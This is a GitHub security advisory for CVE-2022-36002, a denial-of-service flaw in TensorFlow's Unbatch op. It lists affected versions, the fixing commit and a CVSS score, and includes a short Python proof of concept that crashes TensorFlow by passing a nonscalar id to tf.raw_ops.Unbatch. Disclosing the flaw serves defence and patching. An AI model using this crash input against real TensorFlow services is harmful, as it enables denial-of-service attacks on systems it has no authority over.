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TensorFlowGHSA-mh3m-62v7-68xg

TensorFlow vulnerable to `CHECK` fail in `Unbatch`

Medium5.9CVE-2022-36002 · Published Sep 16, 2022 · updated Jul 13, 2026

GitHub advisory

Affected versions

PackageAffectedFixed in
tensorflow
PyPI
< 2.7.22.7.2
>= 2.8.0, < 2.8.12.8.1
>= 2.9.0, < 2.9.12.9.1
Details and references

### Impact When `Unbatch` receives a nonscalar input `id`, it gives a `CHECK` fail that can trigger a denial of service attack. ```python import tensorflow as tf import numpy as np arg_0=tf.constant(value=np.random.random(size=(3, 3, 1)), dtype=tf.float64) arg_1=tf.constant(value=np.random.randint(0,100,size=(3, 3, 1)), dtype=tf.int64) arg_2=tf.constant(value=np.random.randint(0,100,size=(3, 3, 1)), dtype=tf.int64) arg_3=47 arg_4='' arg_5='' tf.raw_ops.Unbatch(batched_tensor=arg_0, batch_index=arg_1, id=arg_2, timeout_micros=arg_3, container=arg_4, shared_name=arg_5) ``` ### Patches We have patched the issue in GitHub commit [4419d10d576adefa36b0e0a9425d2569f7c0189f](https://github.com/tensorflow/tensorflow/commit/4419d10d576adefa36b0e0a9425d2569f7c0189f). The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range. ### For more information Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions. ### Attribution This vulnerability has been reported by 刘力源, Information System & Security and Countermeasures Experiments Center, Beijing Institute of Technology.

CVSS 3.1
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
Severity from
GitHub (reviewed advisory)
Weakness
CWE-617
Also known as
BIT-tensorflow-2022-36002, CVE-2022-36002, PYSEC-2026-1020, PYSEC-2026-3216, PYSEC-2026-3352

More TensorFlow advisories

All TensorFlow
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